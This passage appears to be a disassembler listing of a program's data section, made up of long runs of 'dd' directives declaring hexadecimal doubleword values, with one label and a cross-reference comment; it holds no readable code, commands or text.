339D9120h dd 3022B5CAh, 0E9011755h, 0AC385788h, 110873Eh, 0E8E70502h dd 21AE2127h, 21F696Ch, 8008DCB4h, 37BB5789h, 5807315Ah dd 2A089AB1h, 0E20E3C50h, 8C0755E8h, 89225828h, 0AAF32C0Ah dd 8C08586Eh, 2CED626Bh dd 9B91C200h, 2421956Eh, 843FBA0Bh, 0C9D0C730h, 0E10ED523h dd 343BA0E9h, 40B2A4F0h, 8D3080F2h, 0BDB404E5h, 0AAFBDEACh dd 1FA00C60h, 4FFC803Dh, 1D995403h, 2E1543h, 1BA4A999h dd 5871A860h, 0BD292B02h, 0F6AE6389h, 0C576298h, 0B6B09855h dd 69B2797h, 7183D4C3h, 2B47911Ch, 371EEA28h, 18405DFCh dd 0C83EBDBAh, 6D4C00ACh, 0C09089C3h, 4405BE32h, 14F54B49h dd 0FE05CB0h, 436F8395h, 0EA141CF2h, 15EF17A8h, 3898C284h dd 3058205Bh, 97921C70h, 7593808Ch, 0E0BA2CC6h, 10A81349h dd 0C2006898h, 0FC9CFD2Bh, 2414A1A9h, 5F88C9B2h, 395AC088h dd 0BC8196E4h, 8EFB7305h, 0A313C4EFh, 488CA148h, 8C01E8F0h dd 33D6E00h, 0BD372F98h, 0E61D0594h, 0B85E1A79h, 8C19E878h dd 3C7C0460h, 35EEF90h, 5689CA93h, 0E8792AB9h, 0A687CC09h dd 53B0A791h, 55316F02h, 3015CBDh, 5E21FEDEh, 0DC22D821h dd 0F3925904h, 5400BBD8h, 0FB91C178h, 0F48BBDEAh, 2496FCF0h dd 9065740h, 0F27607B4h, 20D7B6B3h, 0C9B3F9Ah, 1164FE4Ch dd 884F1925h, 0E658094Ch, 96522C4h, 0DCFDC4B7h, 2F64F041h dd 15988804h, 0A4B257h, 3FCD997Ch, 0A19DAh, 886F72C0h dd 50A0B7D2h, 954B8B10h, 41C1E030h, 0C4F4015h, 20839862h dd 0D3AE74FCh, 61B07B30h, 151720D8h, 18B6407Ch, 0F840133Ah dd 0FE039D78h, 2F5A5C55h, 3AB0Dh, 0F247E139h, 9FDB67CCh dd 1E00EC7Eh, 0B0F00E3Bh, 0B171158Ch, 1816D9B8h, 4E890A33h dd 26A40E3Dh, 3BDA3D4Fh, 82348h, 0AEDED30Dh, 0D700AA63h dd 770E976h, 0C571E545h, 0B1F260h, 0F0D04640h, 9E000DFFh dd 7CB43CDAh, 1A561Bh, 0DB3D457Ah, 0D2AD5AABh, 41EA0B17h dd 4498DCF0h, 7100DC02h, 4322DABAh, 9E92CC4Bh, 0B57C4084h dd 0A43F5E13h, 0F44C01C8h, 1BE04143h, 2848686Dh, 0D08A5622h dd 467610D6h, 47860779h, 0D630DEECh, 148AF52Bh, 0A404AF49h dd 8C05F8h, 0AA1AA62Ah, 0C6D7DFC5h, 9379A905h, 40D481E2h dd 10E9ECC8h, 43D3398h, 0EDE3AE8Bh, 846FE203h, 6829A099h dd 8C6BEC64h, 0CB0FA9B0h, 0C1505963h, 0B47A71BFh, 4900A06Dh dd 92DCE09Eh, 82049DB2h, 8D45CB94h, 7E106CF2h, 24FD9261h dd 0A17FFFA8h, 0DA9F7507h, 2E874EDh, 0DC58FB95h, 29F8A455h dd 0D946B442h, 1AD9B059h, 80043A18h, 0A7D3577Bh, 591870FDh dd 0F36DCA8Ah, 9981F100h, 0F0723EB9h, 83D31398h, 3ADC88ABh dd 0F86F89D2h, 6A09AD3Fh, 4C0554F1h, 11E8FD06h, 0C700194Ch dd 0E6AED6FAh, 170E1430h, 0C0C216A4h, 421A2453h, 9A931392h dd 0D55CC972h, 45090020h, 510BE31h, 0F9027C49h, 0E6EDE86Ch dd 22D74F8Fh, 0B424140Ch, 9280F0E8h, 63D57304h, 1124979Fh dd 4A8880C7h, 0E467ADCAh, 880955Dh, 39F83F19h, 8B166313h dd 3E8140D8h, 86366130h, 0A7021808h, 410D7918h, 8BC8761Dh dd 0B0654759h, 186131E2h, 0E6007A52h, 0EF360B64h, 518F4BAh dd 56932FA6h, 0E1D40582h, 0BC04BF20h, 80821117h, 69590665h dd 4C435801h, 0C0395C28h, 8364D32Ah, 89B569EEh, 0D6D8E250h dd 0C4467628h, 30A00A2Dh, 36925BD8h, 0EFD94202h, 0E064CB09h dd 2FC0F3B4h, 80A373B1h, 31006556h, 7258BB1Fh, 989C498h dd 0EBB0EF8Ch, 0BE096870h, 0FAB142F0h, 0D7D20020h, 13B80C1Ah dd 0EB075A37h, 0AFB32B77h, 63ED8F60h, 0FD8C1E1Bh, 0A471D74Fh dd 743F8C8h, 92C6810h, 5023A0EFh, 19FC2E80h, 480101B6h dd 20D23518h, 1A8811A4h, 3F550068h, 0B796DDC8h, 840043E7h dd 74DC07A9h, 968E16F1h, 0E9DF8F30h, 88DE391Ah, 4D191140h dd 5EAE00BBh, 73D4174Eh, 0A34BB05Bh, 0ABC32002h, 2090F5B1h dd 0D7256127h, 0B94D0ACh, 0EF9CF8D9h, 0E81E80FAh, 29014C3Ah dd 18E1DF22h, 8305B111h, 0AC9A7741h, 1A45C0C7h, 0C2AA30C6h dd 0F815FA1h, 80BBA802h, 7586FB1Fh, 0C4713802h, 0D9275C52h dd 7CC4D4h, 0DDC96EE6h, 735B98C7h, 89017CEEh, 0DAC2C08Fh dd 0CC7AEAABh, 16059240h, 0F0700A39h, 0C86C26EBh, 75F32B05h dd 0A4E932EFh, 0C5D5FCB9h, 0EF29D00h, 0CF54483h, 9B798010h dd 6A67722Dh, 0A9F810A4h, 0FE4E3FB1h, 0B2106313h, 0B77A0068h dd 81094024h, 0A5C0BCAEh, 63720CC1h, 30C6F21Ch, 64508584h dd 7940CA88h, 1004BF09h, 0F0D902DFh, 0D15089F5h, 18047968h dd 0BDD40047h, 9FA3CA8Ch, 453E239Bh, 208CCC6Fh, 0C36A4402h dd 87849F0Ch, 43B9E898h, 715221Fh, 1BE73743h, 0BD225117h dd 0AB1441A6h, 33DC40D3h, 629FD9C7h, 709D550Ch, 33807F91h dd 95581D08h, 2B4CF61Dh, 0A7ED4F47h, 92868D6h, 171C15EFh dd 1D9B459h, 78014118h, 91D3CD6Ch, 427EC6FBh, 1868FD90h dd 9088B204h, 0C557001Bh, 3EA3BB14h, 45053BE7h, 0F0DC249Bh dd 4429444Fh, 0FCB57AEAh, 2791DC08h, 0B4C0CE83h, 304EBBE1h dd 0CF8FA445h, 4E16DCA8h, 0B37C4401h, 346BFE38h, 24702E00h dd 61F854DFh, 94288A04h, 0F2CA9Bh, 8414C010h, 5C496555h dd 3ACB2C99h, 39AF9CC1h, 59AE8700h, 66C102F5h dword_4E414C dd 67EA0B38h, 0B0798E98h, 1380681Dh, 0BC2F44FEh, 0D20B2D92h ; DATA XREF: ___:off_43ACE4o dd 7E0C1800h, 0D49E9D30h, 6DD1FF40h, 0B721003Eh, 0A98086EBh dd 0DA15BF84h, 9F0600Dh, 7C5BF0D8h, 7F98010h, 436EEB17h dd 0DDE6209h, 41281254h, 0C82A5748h, 0C40FC2F8h, 81CDB0F9h dd 0DFB97AB1h, 3D006833h, 856FE61Eh, 761D4FEFh, 0ACC0E180h dd 0F3BBBA73h, 94B2F6h, 0B0AA3059h, 8395B6F8h, 0A09F2B2Ch dd 74ECC8A7h, 4447008Dh, 8ADB15BCh, 61FF994h, 0A4D4A3B4h dd 70B02AEh, 0D9595E53h, 181E7978h, 2D0400A8h, 7A73CE92h dd 8712B4FEh, 0B8555556h, 6DBCACh, 113A9BCAh, 424AB089h dd 0E128ED27h, 582DE228h, 0B5451F04h, 10FCBD06h, 6E5B1E05h dd 0D9D500CCh, 5091A9E6h, 0DC60F7CBh, 2B6D2D4Eh, 4B5CE068h dd 4956677h, 7BBB78F8h, 97D60248h, 496DFE93h, 4185C3B8h dd 0A137B069h, 0C1D068B4h, 0E98CCAB2h, 0DC48C82Eh, 6617D4EEh dd 5D0A63D3h, 7D08BCC8h, 0BC1B2D76h, 74091810h, 0AF92F20Eh dd 491C49E6h, 0B163C207h, 4DB0E05Ah, 39EB19FBh, 0C78E235Dh dd 0D4355ADh, 0A1279C5Ch, 0D9181063h, 69ACF049h, 0DC821109h dd 9C825E0Bh, 0C1002E41h, 953A930Fh, 0AB20008Eh, 0B591FB95h dd 5D0A5490h, 0EC39B4EDh, 603CFE8Eh, 929F693Dh, 81520023h dd 0F033D1DBh, 0F89BC2B4h, 0A0E03D97h, 0F8019794h, 3991477Fh dd 696F123Ch, 820AC008h, 0CD17E8E7h, 9B826CDEh, 768A93BBh dd 1CB01440h, 2440FD93h, 1F8B280Dh, 9CB07864h, 0D5DA8054h dd 9BA6892Ch, 8FB8EC52h, 2B40B8BDh, 38228228h, 64D670E6h dd 0D4C4CD89h, 4521770h, 10AE0E8h, 0EA3F3330h, 56CA3078h dd 2DE9007Ch, 0CE59766h, 0C0B61E4Eh, 3258B24Fh, 0A97FFC43h dd 8E8056ACh, 0B285DD44h, 0E3202C02h, 1588E673h, 977240B4h dd 82EB27h, 6F212B94h, 70D8560Eh, 0D6906E28h, 55B8D8E0h dd 41821742h, 1C79E4E0h, 276A4E88h, 31E22C65h, 21541861h dd 0AA27B80Bh, 0CA5C41BFh, 5AFC02h, 6ADC70E5h, 96506895h dd 570C07Fh, 72FB5EAh, 89D4B700h, 427A696Eh, 0E96800E4h dd 2A9359C5h, 9730D133h, 61B22151h, 0F37792Bh, 79505815h dd 0DAA4E983h, 0E7B79BA0h, 0A9104897h, 4A4B07DCh, 80545CD0h dd 2FBFF035h, 0A60071F2h, 0D59809D2h, 29A8941h, 72DDC8B4h dd 60C26F2Ch, 0A4F4F889h, 279CE0Bh, 164E4F8h, 3EE0DCC9h dd 0A1AC2420h, 80132628h, 9256004Dh, 0A65E25Fh, 0BCE2045Ah dd 0E20A12BAh, 1C390402h, 47A8616Fh, 6CF9108Ch, 0A0401008h dd 0A245408Eh, 54280F63h, 8083173h, 149F421h, 88C8E9Dh dd 25202E3Bh, 63964C40h, 750B101Ah, 86CE0819h, 0D1114418h dd 9F3F01F0h, 70DC001h, 270613E4h, 58330811h, 767620B1h dd 7D8D4071h, 28084262h, 0AB20384h, 41763031h, 1898BD0Fh dd 0ADD76920h, 0CC53FC80h, 5D59E408h, 7B194366h, 81417128h dd 5191881Ah, 7D5C08EFh, 6051A319h, 4A0818Dh, 88626110h dd 0C030108h, 5820963Ah, 636D6540h, 0BFCD1093h, 0FC590810h dd 202C9E18h, 8CC66B4h, 40FB5981h, 0E5631907h, 318FBD10h dd 0CC316308h, 56DD0177h, 12D0D01h, 0D102F394h, 0FD0BE8A2h dd 5B4BF02h, 98E0446Dh, 95A606F6h, 8446241h, 6E02BAB3h dd 8165065Fh, 54FAC020h, 4098E832h, 6B63235Eh, 1D053A08h dd 2016E918h, 6CED6A40h, 5059B9B7h, 0F4DE94A8h, 912C10CCh dd 7EB6405Ch, 9A75F4A8h, 0CDEA4680h, 0F9797430h, 0B9089802h dd 818873D9h, 0EA002499h, 8824B0A9h, 0C4ACF79h, 60497EC6h dd 0E70710C6h, 8CC35408h, 9C4C4093h, 0FE280163h, 1EF932B2h dd 0F8048E59h, 0A3D88891h, 92909024h, 4D534024h, 0EB843040h dd 52AAF301h, 0BF0448C8h, 1489A491h, 78D50888h, 0CEE0E08h dd 34286354h, 40E51040h, 0C0645964h, 98912218h, 0F5011B66h dd 105D0361h, 33B17929h, 249EB145h, 88A843E1h, 0B019F1EFh dd 0C198E5B1h, 0A7BAF105h, 0F2FE08C4h, 45DAC04h, 260A448Bh dd 0FE6D889Ch, 3C5D7B12h, 990E59F1h, 35F7901h, 2020CEC6h dd 0F26257A6h, 2943D11h, 1C0323A1h, 0D3081015h, 0A0B72A24h dd 33F5AF20h, 0E7187A86h, 0B09704FCh, 4164C04h, 620998AAh dd 0B51E3022h, 0AC918504h, 11A26ED9h, 0E02C54A0h, 0D5A04028h dd 0E08A39CAh, 8FDA888h, 0C20243CDh, 64E1BE86h, 0A9B30FA4h dd 0A03666ADh, 0AC135BE4h, 0D8E85E45h, 76A61301h, 0E04FDA33h dd 8D161887h, 8441E5E1h, 0ED61D6A9h, 16AC19E8h, 664717h dd 85343618h, 0DC086097h, 8F1FE452h, 16009871h, 3D9120CFh dd 0CABDB51Ch, 0C05E78D0h, 0D9974CB0h, 0A7C760C0h, 2AB9A0h dd 2D285B02h, 0C686C585h, 0AC60F5F8h, 0D6E4318h, 6695309Fh dd 0A74162D1h, 10F52530h, 7843E40Eh, 21C90096h, 454C5AC8h dd 82006B1Bh, 240F8F91h, 5901B4h, 94FF641h, 5ABF5C7Eh dd 0C4DF4903h, 0B02C745Bh, 0A105E672h, 2478F693h, 465EF1Eh dd 412D2659h, 86D02AE0h, 8341989Fh, 0BAF3FA0Dh, 5E3D1180h dd 6D0040B6h, 8FCD1FACh, 8EF700D9h, 593110A5h, 976E451h dd 0D5EC7900h, 267B25B0h, 4E241F80h, 0DB1C4005h, 0D1928D40h dd 1B9A9F00h, 49E03B38h, 9840F5F9h, 0F0D546AAh, 90356093h dd 86D41FC3h, 163A7E2h, 0B0C59181h, 1D881DBBh, 89D769h dd 0FD1E2A7Dh, 0CB27A70Bh, 8E788112h, 0AC43810Eh, 9C98B8ACh dd 80030C79h, 0E9F00D59h, 0EF01757Eh, 61DA0E96h, 199F2EFFh dd 43F2C15h, 0AAD55FACh, 0E0006489h, 59786DDh, 0A9C03466h dd 411000AEh, 7FD0E9Eh, 76887001h, 72B1B609h, 8930803Bh dd 0AF6F86CDh, 9FDF62E0h, 0E9F890FDh, 1A6EC1Dh, 4061FFC2h dd 20169252h, 0E5410E24h, 0C8EC2C53h, 92BF2DA7h, 2C5C3C28h dd 3C81F930h, 0D40CC4D5h, 596882E2h, 979F2843h, 1A491934h dd 0C5AC50F1h, 0CBC06B23h, 1F2D5099h, 67E35Fh, 9E8D1644h dd 2C62DAC0h, 7A6DE489h, 24710220h, 44C7B185h, 7D68BD00h dd 30287D88h, 0FD305FFBh, 9540F5B4h, 94875067h, 808300ADh dd 5B590ABAh, 0D027F6Ah, 74D2990h, 71088013h, 2E40FB5h dd 52334C6Eh, 17432A11h, 38E1F00Ch, 14B9C86Dh, 0AC67F432h dd 1EA88724h, 3AAFC0D9h, 0E4073073h, 0FB474B00h, 0EA87D3A8h dd 5FD100B4h, 0A7AC6AFAh, 81E378Ch, 9C95E2BFh, 0C007008Ch dd 0F57853F0h, 900AFA66h, 0DBC40160h, 1D4C16B7h, 50076F6Bh dd 0F5830EADh, 0F0105132h, 7338D06Bh, 4101A9B9h, 307BB620h dd 0FAC85FD9h, 0D584003Ch, 54353D26h, 0E139E60Bh, 807D81B2h dd 0B4DFA703h, 5157408Eh, 0A3EDA5h, 86D5819Ch, 0A24DB2Eh dd 2C40D01Ch, 24E2724Bh, 843806B5h, 951ACDA7h, 61641278h dd 0E05E4B24h, 650282E8h, 4FCAD77Fh, 654683Dh, 0FBB63934h dd 251C28B8h, 0B46A075Fh, 0A8802DADh, 0B5060810h, 6F2B2173h dd 2FC601D0h, 0EB1B207h, 872882D4h, 446EE1F8h, 49A77910h dd 98744811h, 0EA3426BDh, 35B133Ch, 91BEA734h, 18F048h dd 7E63D5F9h, 0C1BFC9B4h, 0E472D640h, 8128406Ch, 0AE48669Ah dd 68BD2D80h, 80688F2Ch, 401335A6h, 6C047D5Eh, 541DD2BCh dd 0FD96486Ch, 0B43D0460h, 1C850C8Fh, 0F2C6E44Fh, 89DEEA06h dd 5B13C08h, 0D3282064h, 0C1CED1CCh, 4FEC0A03h, 6F86A7h dd 0E0B809E0h, 0E1BB61FCh, 0D9324072h, 106F8116h, 0C8A49B9Fh dd 0A81D1B31h, 1F00DE87h, 0AD00674Eh, 0E949A9BFh, 1E2B80A1h dd 5FAC37E7h, 1D430015h dd 0FDB2E403h, 0CABC1403h, 0BA49F11Fh, 0A2E4A26Eh, 0E73080D6h dd 98570669h, 48DE75DCh, 0B4831C20h, 907743AAh, 86E0E218h dd 10E6BEA9h, 21CEF36h, 0CD757241h, 0AE9D4089h, 572E0202h dd 0F9E149CCh, 2FDE1C60h, 0EB39103h, 0AAA9CDD2h, 9634C057h dd 8028093Ch, 0E082BF6Ch, 0DC074F24h, 21EB6170h, 4C5213CAh dd 0ACEC40A9h, 0D3A1B6ADh, 131F103Eh, 7452FBB7h, 82B12009h dd 55D09F8h, 0CFC40542h, 78F10080h, 0A7D1160Bh, 0F8175837h dd 82751280h, 0AA9B00ECh, 5BEAA841h, 0DB505FA7h, 270E58FCh dd 8F59DC91h, 0E29B01AFh, 55CD84B2h, 6300B878h, 96F042F3h dd 2558BDA3h, 4C9050FCh, 98E71F26h, 739AA780h, 30E16EB1h dd 0B23875C3h, 0C0A6DADEh, 0D4AB38h, 224197FBh, 15688AFh dd 0BE614F68h, 64B321A7h, 48B045ACh, 70A1C99h, 0C262D41Eh dd 0D6404136h, 210E9092h, 33654Ch, 6F6F903h, 9FE2BE27h dd 0C053874h, 0EFEE6AAFh, 0D670F091h, 0A7B66100h, 6809E330h dd 50D2DC92h, 6287E81Bh, 0A974703Fh, 0EBBB6860h, 0AA71E8C3h dd 10ACC172h, 0E100C065h, 0D2E0DAh, 4EA95BA5h, 0C05D4B37h dd 6DE29D03h, 0E12EEFD3h, 0A941AD46h, 0C2E1583Eh, 0E5978A30h dd 3DC0E182h, 4C09215h, 0D900A8D0h, 5F4B592Fh, 341E47Bh dd 4C10BB2Ch, 78000A39h, 0FB745709h, 0DD9232h, 341E91FCh dd 41F2FDB4h, 0A5E04F75h, 5CD3A0A0h, 872D4E14h, 0FBDD00DCh dd 0D5119DC7h, 0C5B33C06h, 0D36E6D0Ah, 925805D2h, 0A7689C76h dd 0A8940232h, 0C1DB6398h, 0B0629914h, 5886BE41h, 30B9B2B1h dd 0EA732F0Bh, 149CB815h, 0BFCD06DDh, 59C27632h, 6811120h dd 97B4FF24h, 0D09318B6h, 8BCF9C24h, 35D41898h, 4100F90Bh dd 0B1005C9Ah, 0BE285ABBh, 7ADC0AC2h, 8EE21929h, 23653010h dd 0E0DB2D20h, 1D928DCh, 0AE0C352h, 4112E1FBh, 4D158F4h dd 7061D00Eh, 2B05724h, 91853589h, 0C54D7C48h, 475E280h dd 1F2658D5h, 0AB54C08Dh, 5090BDDh, 9149391Ch, 640975F0h dd 0EC7EB4B8h, 481E88D6h, 0AB00DDD0h, 1C13CEFBh, 0A0009FCBh dd 7D6D6145h, 103B624h, 0BDA851E1h, 0C4A789F0h, 0B49AF94Dh dd 6C5FC919h, 0B052B5E1h, 48A0E281h, 609B4C18h, 1AFF2069h dd 0B42F3140h, 0DA30409Dh, 80A52EE2h, 12D9788h, 8CB43AECh dd 0ABA180A7h, 1244A9F3h, 0DC593A61h, 0C8307EA5h, 0D103428Ah dd 0A77F180Ah, 5C18A6A9h, 6062830Dh, 0C00A99C4h, 50EC05B9h dd 0E831969Fh, 3070BE43h, 0F5BF00ACh, 1AC3EF90h, 7D6FDC4Ch dd 0FD9F45B8h, 7844A0F5h, 923D24A0h, 0D3C20688h, 20F563E2h dd 73C8E360h, 0C22F414Ch, 0D53AA721h, 234EACC9h, 0D4131008h dd 65616E0Eh, 0BCB2A7C3h, 1C092800h, 0DDEE2B47h, 72500171h dd 0E2E0BEECh, 25287CB7h, 17032B3h, 0A4F9A78Ch, 0E9084080h dd 0BAFB8AB5h, 0F3B8C10Eh, 6F524B1h, 0F954C3h, 4122AFEEh dd 6FF7C233h, 5C2111C0h, 58831FC6h, 7126DC53h, 125C2624h dd 3244207Eh, 48C32984h, 9883A7h, 0AAA9270h, 3E4C3DE0h dd 5848D859h, 10485840h, 8513542Ah, 88E0253Dh, 0B8C47694h dd 41EB8D6h, 0A244AC48h, 2D5004ECh, 0EC22C585h, 4892D4C1h dd 5C0361E0h, 0D6D2CDCh, 0B186A84Fh, 2A8B1ECh, 651EF6AFh dd 0AA399240h, 60C0F17Bh, 2C1DBA35h, 0F35878D9h, 0D4940845h dd 488EC4C2h, 3975FC78h, 0B10D67B3h, 0DDF86F2Ch, 0C49821A0h dd 47F5B3Ah, 9349F00Ch, 0AAF894h, 651BD5ADh, 0E864366h dd 0BB244197h, 92ECC36Fh, 97AC4ACFh, 0E008445Fh, 4C1C8007h dd 0BA488F49h, 24713B48h, 0B1160877h, 28C49005h, 9B330081h dd 5DBE6880h, 436EE420h, 46A82500h, 0A949EE87h, 8120D2FDh dd 1578B238h, 3B097091h, 0C0B1BA01h, 8096625Ch, 904EA990h dd 1B2D277Ch, 0B1B0EF06h, 18DDD2h, 0B39CF85Fh, 0A6435C55h dd 1C9ACD3Ah, 66009F23h, 0E1DAA29Bh, 249C99B5h, 0C09182FCh dd 48695842h, 40B42CB3h, 0BD6735A8h, 3271D329h, 11A2D070h dd 269486F8h, 1F64E409h, 0D9901E3h, 0E0B26810h, 0A8A86349h dd 3360284Ch, 0B62AC578h, 0A028928Ch, 9006D130h, 92A718FCh dd 1A43E175h, 7C091FF8h, 84D4C8B4h, 68E46248h, 604B40F9h dd 8E42D0A8h, 19FB0E17h, 4C39E480h, 506E5092h, 11672EE1h dd 876CA9F4h, 9B49AAF8h, 94B8A5h, 0A891AB80h, 4995C5Ah dd 0BCB0AC0Ah, 2CC45745h, 9666F888h, 0FA82104h, 2E806C1Fh dd 0F44C0FDDh, 91F48E50h, 6171A301h, 0BD0EA748h, 3AE7F880h dd 95DCA26Ch, 79768B03h, 0DA19B1AEh, 0F9D06661h, 2DC801h dd 0F91D2C7h, 0FC90828h, 71DA70E0h, 0DC005E64h, 0DE0E9E58h dd 1DC341E7h, 22EA60Dh, 0C4ABAC2Ah, 18A6704Bh, 202FF1F5h dd 0B5407B64h, 0E0D40780h, 56A73313h, 6698A0AFh, 7F317904h dd 8D82841Ah, 84785Ch, 5908B224h, 0F3C56A2Fh, 89A9D338h dd 25461F7h, 0A80FF9CCh, 9B88BCB4h, 0A9BE091Ch, 5DE21C9Bh dd 0B607FC54h, 84C72ADCh, 0A704E839h, 9C714DA5h, 1C00EC45h dd 70C84FD9h, 30A060A7h, 0A591B673h, 0C2F1E225h, 498C44ECh dd 0A09474E4h, 69A7DE04h, 8D2B00F4h, 243C4F0Eh, 9147F85h dd 0C0020DEAh, 0B00207C8h, 6114E1B3h, 1E7011A6h, 0CBEEC0D5h dd 0A16427C3h, 0AE3EDD05h, 0D4047C2Bh, 30D49DACh, 0C165A080h dd 9BA12A2Ah, 61D1026Ch, 2D60E9FBh, 38361461h, 0A0198728h dd 0E5FBD290h, 0BCE4E975h, 4B64BA7h, 0C2EA76C0h, 0D8E65B40h dd 0B20A54A0h, 2129E700h, 13A7D022h, 8930C6DDh, 0E030F049h dd 0F36E41D2h, 0B477244Ah, 7E1911A0h, 7FC23E01h, 93F749D1h dd 72CC092h, 42528454h, 907110EAh, 8D3049C1h, 0C10830A6h dd 7278B1E1h, 26B60458h, 7CC43BCEh, 73A088C7h, 2E339CC8h dd 1DEF4D59h, 9FEDC08Dh, 0B1CCDEFEh, 0E7B7DB01h, 10237F5Fh dd 16F5ECF0h, 161629C9h, 158B85Ch, 49DDAA6Ch, 0B854F420h dd 0E0E9B4C2h, 474120h, 806FFDDEh, 2BE76A06h, 0C2DB42Ch dd 0BFBEF79Eh, 21591D05h, 81A44080h, 39CABFA9h, 5A81A868h dd 48DFA041h, 0EEFCCC69h, 0C8349000h, 0A7C731C2h, 0A8AD5138h dd 0D2E429F1h, 0E6B4B235h, 5893F2h, 190B9FA5h, 0C75176E1h dd 82F52088h, 923E4109h, 2EA44E1Eh, 80D83BC9h, 0E36AF718h dd 0E0B0E0B9h, 0C18E460h, 9AF6F6Ch, 38DB49FBh, 0C7B31C24h dd 0CAB434h, 68FB5FC6h, 0C97734B4h, 0FC60C058h, 6F0A3532h dd 0D8EC504Ch, 6844590h, 0B90F213h, 0E60FB5h, 0A81B0C8Ch dd 4B0B1E28h, 49D906DDh, 5C0E29F3h, 6038E8ACh, 0D6BBCF4Ch dd 285A03C9h, 6B3133CAh, 437CD9FDh, 1BC8D31Ch, 0B0F2E3C5h dd 9943A900h, 1D238F8Ch, 0F8485C56h, 804D8300h, 0DB4BE9ECh dd 11449A1Fh, 0BC79FF00h, 1C8D858Bh, 807468B7h, 4FD6B22Ch dd 0D5492603h, 0F40E26F8h, 78312183h, 7213E07Ah, 0E85A5CDCh dd 0EC05B4D5h, 10A92A49h, 0BBC1D8E4h, 0CBCBE2DEh, 0E105DFF2h dd 9981D031h, 1FD9430h, 675C5B60h, 28BB8517h, 0B12D25E0h dd 0D463AC68h, 20E40B18h, 0FE06CB61h, 0F46EE11Ch, 43221228h dd 1DE85608h, 0ACB4A4B0h, 0ECB7BEB8h, 0A4BA7110h, 5861FABBh dd 77A0274h, 44C0294Ch, 165A7331h, 0C60BE816h, 58B8CA32h dd 5CDB4BC8h, 13AB902Ch, 0C8C10BDAh, 0F86CEEF2h, 0C07B129Eh dd 2F1908E8h, 2404D1D2h, 0CB1CD90Ah, 2C40C239h, 525987B4h dd 31606158h, 88246BAAh, 7259C4B6h, 4494C0ECh, 29D30D6Eh dd 0BA5FCC71h, 58D4E471h dd 782A00EEh, 35E8CB1Ah, 4A6193B4h, 0E6E2D6B0h, 0BD9007F3h dd 40347EA3h, 499B8AE0h, 12CAE5Dh, 0B92948ACh, 603870h dd 44968463h, 3EA36A88h, 591D4D3Eh, 9249046Eh, 72FB0979h dd 9C9F0070h, 303BE347h, 65FAB2E4h, 1F137502h, 826AE1EBh dd 784DA708h, 0A35B7110h, 0C6040EBEh, 79CC2C71h, 667192A8h dd 0C00BE8CCh, 0FADA00BFh, 7B71AE8Dh, 36204C07h, 2E49014h dd 0A73D81CAh, 0FC6CD41Fh, 0A48476C9h, 0B080AFACh, 90DDA349h dd 0A7D108E8h, 7D39F340h, 6060E2Fh, 0B9F889CCh, 69E1861Ch dd 71FD48CFh, 6C60C620h, 8619DC71h, 16B00E79h, 0BAFB0030h dd 0B4A49BF0h, 9B8C0E0h, 7800FCABh, 9F7C4673h, 13D468E7h dd 3EC6A8Ah, 0E36E25Dh, 0C4026877h, 75FC9067h, 0DF9E8526h dd 0EFE370D9h, 0B38C00FBh, 3AA37758h, 2000D3C4h, 8C7633E2h dd 0D73284Ch, 7875B724h, 8240D188h, 0FDD386C5h, 60033866h dd 49851FC6h, 0C1B90071h, 69B4EB87h, 0E102DCACh, 0A952DAB7h dd 0F13063E9h, 89F053ECh, 0A097F054h, 0F5B1C008h, 0DD5825CFh dd 0ABA73402h, 5DC188C8h, 0E47E9226h, 68F65FE0h, 604300ACh dd 9197980h, 0F51ED61Ch, 4B07956Dh, 1D844C72h, 93FDAC90h dd 6E3007Eh, 9F2E4399h, 0CA001C98h, 6EE4113Eh, 7CA2C7EFh dd 84E81ED3h, 61B109E9h, 10DEA800h, 309B331h, 56B89C4Ch dd 970C2408h, 8A7CD7DCh, 0C9D6E6E0h, 74090B6h, 1CB6D13h dd 0B8A9C023h, 0F078AD99h, 0F89E55DAh, 3D9A4C04h, 780E141Eh dd 0A78801D6h, 0A875573Eh, 240976B0h, 85F85F25h, 0FCA87310h dd 0EAFA8A00h, 86DD8957h, 38DFB114h, 93D400E0h, 0CF66CEC6h dd 0C8B40FE1h, 1FC733C4h, 46C8589h, 9773DC08h, 97CDB24Ch dd 88BFA8C8h, 0A940E705h, 0EC012D4Ch, 0C732D95Fh, 1F1109CCh dd 8A1076C6h, 188CB8Ah, 6AE2DAC8h, 114087C2h, 24EFB847h dd 57C0294Ch, 91635CB4h, 0C1A82Ch, 2F20AF99h, 34B3E40Eh dd 0EA8CCB12h, 0C1E31C00h, 0E9C966h, 505AE0BFh, 0A7026421h dd 88BC292Ch, 0B0BC0820h, 0E9B84925h, 307FFFh, 0B7AE25A8h dd 0D9CCA7A9h, 0C8907873h, 85FAC28h, 14495A28h, 40C9E04Eh dd 482C30FCh, 18102804h, 0E5007F09h, 4A715C3Dh, 0AAC359D5h dd 0DB0041B8h, 0DA3AD810h, 0E127F103h, 0AA5876BAh, 0CC607D39h dd 460F41A9h, 0E5034A22h, 0C8E71F90h, 0EC11A712h, 3442534h dd 8E8FE268h, 91B50528h, 88255AA3h, 434CAA84h, 3EE21254h dd 2056DC42h, 2A246C61h, 4E185B5Ah, 0CCC4245h, 0D07205E6h dd 8535541Dh, 52F5A746h, 7D2C2480h, 768B08C8h, 6CBEF00h dd 75B9779Bh, 0A400951Ah, 0A653E94Bh, 27675C94h, 14E050C5h dd 0B5C6252Ah, 0CDFDD010h, 5A1F2499h, 0A5A26B80h, 0F0DAD188h dd 16EC1D30h, 0C1898BFFh, 80433CA4h, 6D182AA8h, 144E39D2h dd 0E75838E0h, 280F9731h, 0D16C2DA0h, 0A70469B5h, 0D3D449D8h dd 4453D491h, 202AFC61h, 2B6C6DB8h, 256060B8h, 0B1B9BB7Eh dd 0B801601Dh, 0BCA494F7h, 0E42C4078h, 20008654h, 419ADFC7h dd 0F2B51C2Fh, 58492549h, 30B86166h, 0B917D424h, 50325FA9h dd 500511Ah, 97E4457h, 5051DE44h, 8A560F42h, 830278C0h dd 0DEE917h, 16A14C08h, 341F71DDh, 9C826080h, 25A7DF14h dd 38247506h, 31B4432Ch, 8AD0260Ah, 0EDB10FB5h, 0D1184153h dd 8215E949h, 19C59628h, 9CA8D1ABh, 9678D6E1h, 0B2470F8h dd 67100807h, 0B1610C0Fh, 10671513h, 0BA78884Ch, 0B99F050h dd 7A2A2349h, 0F82F2CEBh, 0B18818D5h, 70AA61A2h, 786894D1h dd 0B0499230h, 90742Ch, 853D9FC4h, 641740D4h, 4822996h dd 7C7C48F2h, 592A0645h, 802378B4h, 1560B195h, 0AC2C91D9h dd 3821FE86h, 4BF116A0h, 74735901h, 0D938A5BCh, 9C31C1F9h dd 0B481846Ch, 34D11AF6h, 